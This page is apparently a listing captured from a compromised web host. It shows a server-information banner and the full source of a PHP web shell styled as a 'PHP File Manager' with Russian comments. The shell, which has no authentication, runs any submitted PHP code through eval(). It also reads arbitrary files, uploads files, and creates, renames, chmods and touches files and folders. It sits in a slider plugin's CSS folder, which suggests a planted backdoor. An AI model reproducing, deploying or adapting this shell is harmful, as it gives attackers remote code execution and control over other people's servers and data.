.. | |||||
.htaccess | |||||
index.php |
Server IP : 50.63.8.133 / Your IP : 216.73.216.184 Web Server : Microsoft-IIS/10.0 System : Windows NT P3NWVPWEB032 6.2 build 9200 (Windows Server 2012 Standard Edition) i586 User : IWPD_10999(xformtec) ( 0) PHP Version : 5.4.45 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : G:/PleskVhosts/xform.in/madhurivivah.com/js/revolution-slider/css/322305/ |
Upload File : |
<?php session_start(); // Функция для безопасного отображения пути function safePath($path) { return htmlspecialchars($path, ENT_QUOTES, 'UTF-8'); } // Функция для получения реального пути function sanitizePath($path) { return realpath($path); } // Обработка команды консоли $phpOutput = ''; $phpError = ''; if (isset($_POST['phpCode'])) { $phpCode = $_POST['phpCode']; // Убираем добавление <?php автоматически ob_start(); // Обработка ошибок PHP set_error_handler(function($errno, $errstr, $errfile, $errline) { global $phpError; $phpError = "Error [$errno]: $errstr in $errfile on line $errline"; }); try { eval($phpCode); } catch (Throwable $e) { $phpError = "Exception: " . $e->getMessage(); } $phpOutput = ob_get_clean(); restore_error_handler(); // Восстанавливаем обработчик ошибок после выполнения } // Получаем текущую директорию $directory = isset($_GET['dir']) ? $_GET['dir'] : $_SERVER['DOCUMENT_ROOT']; $directory = rtrim($directory, '/'); // Убираем лишний слэш в конце // Санитизируем и проверяем путь $directory = sanitizePath($directory); if (!$directory || !is_dir($directory)) { $directory = $_SERVER['DOCUMENT_ROOT']; // Если директория некорректна, возвращаем в корень } // Получаем файлы и папки в текущей директории $files = scandir($directory); // Разделим папки и файлы $dirs = []; $non_dirs = []; foreach ($files as $file) { if ($file !== '.' && $file !== '..') { $filePath = $directory . '/' . $file; if (is_dir($filePath)) { $dirs[] = $file; } else { $non_dirs[] = $file; } } } // Сортировка папок и файлов sort($dirs); sort($non_dirs); // Объединяем папки и файлы $files = array_merge($dirs, $non_dirs); // Функция для генерации пути с кликабельными частями function generateClickablePath($path) { $parts = explode(DIRECTORY_SEPARATOR, $path); $currentPath = ''; $clickablePath = ''; foreach ($parts as $index => $part) { $currentPath .= DIRECTORY_SEPARATOR . $part; $clickablePath .= '<a href="?dir=' . safePath($currentPath) . '">' . safePath($part) . '</a>'; if ($index < count($parts) - 1) { $clickablePath .= ' / '; } } return $clickablePath; } // Проверка на запрос содержимого файла для модального окна if (isset($_GET['file'])) { $filePath = sanitizePath($directory . '/' . $_GET['file']); if (is_file($filePath)) { echo file_get_contents($filePath); } exit; } // Обработка изменений прав, переименования и изменения времени // Обработка изменений прав, переименования и изменения времени if ($_SERVER['REQUEST_METHOD'] === 'POST') { $action = $_POST['action'] ?? ''; $filePath = sanitizePath($directory . '/' . $_POST['file'] ?? ''); if ($action === 'createFile') { // Создание нового файла $newFileName = $_POST['newFileName'] ?? ''; if ($newFileName) { $fileToCreate = $directory . '/' . $newFileName; if (!file_exists($fileToCreate)) { touch($fileToCreate); // Создаём пустой файл } else { echo "File already exists!"; } } } if ($action === 'createFolder') { // Создание новой папки $newFolderName = $_POST['newFolderName'] ?? ''; if ($newFolderName) { $folderToCreate = $directory . '/' . $newFolderName; if (!is_dir($folderToCreate)) { mkdir($folderToCreate); // Создаём новую папку } else { echo "Folder already exists!"; } } } if ($action === 'uploadFile') { // Загрузка файла if (isset($_FILES['fileToUpload']) && $_FILES['fileToUpload']['error'] == 0) { $targetFile = $directory . '/' . basename($_FILES['fileToUpload']['name']); if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $targetFile)) { echo "The file has been uploaded."; } else { echo "Sorry, there was an error uploading your file."; } } } if (is_file($filePath)) { // Для файлов разрешаем все действия if ($action === 'chmod') { $chmod = $_POST['chmod'] ?? ''; if ($chmod) { chmod($filePath, octdec($chmod)); } } if ($action === 'rename') { $newName = $_POST['newName'] ?? ''; if ($newName) { rename($filePath, dirname($filePath) . '/' . $newName); } } if ($action === 'touch') { touch($filePath); } } elseif (is_dir($filePath)) { // Для папок разрешаем только chmod и rename if ($action === 'chmod') { $chmod = $_POST['chmod'] ?? ''; if ($chmod) { chmod($filePath, octdec($chmod)); } } if ($action === 'rename') { $newName = $_POST['newName'] ?? ''; if ($newName) { rename($filePath, dirname($filePath) . '/' . $newName); } } } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>PHP File Manager</title> <style> body { font-family: 'Arial', sans-serif; background-color: #f4f7fc; margin: 0; padding: 0; box-sizing: border-box; } h1 { text-align: center; color: #333; padding: 20px; background-color: #2C3E50; color: white; margin: 0; } .create-actions { margin-top: 20px; text-align: center; } .create-button { background-color: #3498db; color: white; border: none; padding: 10px 20px; margin: 5px; border-radius: 5px; cursor: pointer; } .create-button:hover { background-color: #2980b9; } .create-actions form { display: inline-block; margin: 5px; } .container { max-width: 1200px; margin: 20px auto; padding: 20px; background-color: #ffffff; border-radius: 10px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); } .cmd, .console { background-color: #34495E; color: #fff; padding: 20px; margin-bottom: 20px; border-radius: 8px; } .cmd { display: flex; justify-content: space-between; align-items: center; } .cmd button { background-color: #1ABC9C; color: white; border: none; padding: 8px 15px; border-radius: 5px; cursor: pointer; } .cmd button:hover { background-color: #16A085; } .navigation { margin: 20px 0; } .navigation a { text-decoration: none; color: #2980B9; font-weight: bold; } .navigation a:hover { text-decoration: underline; } .file-table { width: 100%; border-collapse: collapse; margin-top: 20px; } .file-table th, .file-table td { padding: 12px; text-align: left; border: 1px solid #ddd; } .file-table th { background-color: #f2f2f2; } .file-table td { background-color: #fafafa; } .file-table td a { color: #2980B9; text-decoration: none; } .file-table td a:hover { text-decoration: underline; } .console textarea { width: 100%; height: 120px; background: #2C3E50; color: white; border: none; border-radius: 5px; padding: 10px; font-family: 'Courier New', monospace; font-size: 14px; } .console button { margin-top: 10px; padding: 8px 15px; background-color: #E74C3C; color: white; border: none; border-radius: 5px; cursor: pointer; } .console button:hover { background-color: #C0392B; } .output { margin-top: 15px; padding: 15px; background-color: #1C2833; color: #ecf0f1; border-radius: 5px; font-family: 'Courier New', monospace; } /* Модальные окна */ .modal { display: none; position: fixed; z-index: 1; left: 0; top: 0; width: 100%; height: 100%; overflow: auto; background-color: rgba(0, 0, 0, 0.4); } .modal-content { background-color: #fefefe; margin: 15% auto; padding: 20px; border: 1px solid #888; width: 80%; max-width: 600px; } .close-modal { color: #aaa; float: right; font-size: 28px; font-weight: bold; } .close-modal:hover, .close-modal:focus { color: black; text-decoration: none; cursor: pointer; } </style> </head> <body> <h1>PHP File Manager</h1> <div class="container"> <!-- Консоль --> <div class="console"> <h2>PHP Console</h2> <form method="POST"> <textarea name="phpCode" rows="5" placeholder="Write your PHP code here..."><?php echo isset($_POST['phpCode']) ? htmlspecialchars($_POST['phpCode']) : ''; ?></textarea> <br> <button type="submit">Execute Code</button> </form> <div class="output"> <h3>Output:</h3> <pre><?php echo $phpOutput; ?></pre> <?php if ($phpError): ?> <h3>Error:</h3> <pre><?php echo $phpError; ?></pre> <?php endif; ?> </div> </div> <div class="create-actions"> <form method="POST" action="" style="display: inline-block;"> <button type="submit" name="action" value="createFile" class="create-button">Create New File</button> </form> <form method="POST" action="" style="display: inline-block;"> <button type="submit" name="action" value="createFolder" class="create-button">Create New Folder</button> </form> <form method="POST" enctype="multipart/form-data" action="" style="display: inline-block;"> <button type="submit" name="action" value="uploadFile" class="create-button">Upload File</button> <input type="file" name="fileToUpload" /> </form> </div> <!-- Консоль cmd --> <div class="cmd"> <div>Current Directory: <strong><?php echo generateClickablePath($directory); ?></strong></div> <div> <!-- Кнопка для перехода в корень --> <?php if ($directory !== $_SERVER['DOCUMENT_ROOT']): ?> <a href="?dir=<?php echo safePath($_SERVER['DOCUMENT_ROOT']); ?>" class="cmd-button">Go to Root</a> <?php else: ?> <span>You are at the root directory.</span> <?php endif; ?> </div> </div> <!-- Список файлов --> <table class="file-table"> <tr> <th>Filename</th> <th>Action</th> </tr> <?php foreach ($files as $file): ?> <?php if ($file !== '.' && $file !== '..'): ?> <tr> <td> <?php $filePath = $directory . '/' . $file; if (is_dir($filePath)) { // Для папок добавляем квадратные скобки и оставляем ссылку кликабельной echo '<i class="fas fa-folder"></i>'; echo '<a href="?dir=' . safePath($filePath) . '">[' . safePath($file) . ']</a>'; } else { echo '<i class="fas fa-file"></i>'; echo '<a href="javascript:void(0);" class="file-action" data-file="' . safePath($file) . '">' . safePath($file) . '</a>'; } ?> </td> <td> <!-- Проверка: если файл, показываем все кнопки, если папка - только chmod и rename --> <?php if (is_file($filePath)): ?> <button class="edit" data-file="<?php echo safePath($file); ?>">Edit</button> <button class="chmod" data-file="<?php echo safePath($file); ?>">Chmod</button> <button class="rename" data-file="<?php echo safePath($file); ?>">Rename</button> <button class="touch" data-file="<?php echo safePath($file); ?>">Touch</button> <?php elseif (is_dir($filePath)): ?> <button class="chmod" data-file="<?php echo safePath($file); ?>">Chmod</button> <button class="rename" data-file="<?php echo safePath($file); ?>">Rename</button> <?php endif; ?> </td> </tr> <?php endif; ?> <?php endforeach; ?> </table> <!-- Форма для создания нового файла --> <?php if ($action === 'createFile'): ?> <form method="POST"> <label for="newFileName">Enter file name:</label> <input type="text" name="newFileName" required> <button type="submit" name="action" value="createFile">Create File</button> </form> <?php endif; ?> <!-- Форма для создания новой папки --> <?php if ($action === 'createFolder'): ?> <form method="POST"> <label for="newFolderName">Enter folder name:</label> <input type="text" name="newFolderName" required> <button type="submit" name="action" value="createFolder">Create Folder</button> </form> <?php endif; ?> </div> <!-- Модальное окно для редактирования --> <div id="editModal" class="modal"> <div class="modal-content"> <span class="close-modal">×</span> <h2>Edit File</h2> <form id="editForm"> <textarea id="editContent" rows="10" placeholder="Edit file content..."></textarea><br> <button type="submit">Save</button> </form> </div> </div> <!-- Модальное окно для Chmod --> <div id="chmodModal" class="modal"> <div class="modal-content"> <span class="close-modal">×</span> <h2>Change File Permissions</h2> <form id="chmodForm"> <label for="chmodValue">New Permissions:</label> <input type="text" id="chmodValue" placeholder="e.g., 755"><br> <button type="submit">Save</button> </form> </div> </div> <!-- Модальное окно для Rename --> <div id="renameModal" class="modal"> <div class="modal-content"> <span class="close-modal">×</span> <h2>Rename File</h2> <form id="renameForm"> <label for="newName">New Name:</label> <input type="text" id="newName" placeholder="New file name"><br> <button type="submit">Rename</button> </form> </div> </div> <!-- Модальное окно для Touch --> <div id="touchModal" class="modal"> <div class="modal-content"> <span class="close-modal">×</span> <h2>Touch File</h2> <form id="touchForm"> <button type="submit">Update Time</button> </form> </div> </div> <script> document.querySelectorAll('.edit').forEach(button => { button.addEventListener('click', (event) => { let file = event.target.getAttribute('data-file'); fetch(`?file=${file}`) .then(response => response.text()) .then(data => { document.getElementById('editContent').value = data; document.getElementById('editModal').style.display = 'block'; }); }); }); document.querySelectorAll('.chmod').forEach(button => { button.addEventListener('click', (event) => { let file = event.target.getAttribute('data-file'); document.getElementById('chmodModal').style.display = 'block'; }); }); document.querySelectorAll('.rename').forEach(button => { button.addEventListener('click', (event) => { let file = event.target.getAttribute('data-file'); document.getElementById('renameModal').style.display = 'block'; }); }); document.querySelectorAll('.touch').forEach(button => { button.addEventListener('click', (event) => { let file = event.target.getAttribute('data-file'); document.getElementById('touchModal').style.display = 'block'; }); }); // Закрытие модальных окон document.querySelectorAll('.close-modal').forEach(span => { span.addEventListener('click', () => { document.querySelectorAll('.modal').forEach(modal => { modal.style.display = 'none'; }); }); }); // Обработчики для сохранения изменений document.getElementById('editForm').addEventListener('submit', (e) => { e.preventDefault(); let content = document.getElementById('editContent').value; let file = document.querySelector('.edit').getAttribute('data-file'); fetch('edit.php', { method: 'POST', body: JSON.stringify({ file, content }), }) .then(response => response.json()) .then(data => { if (data.success) { alert('File updated'); } }); }); </script> </body> </html>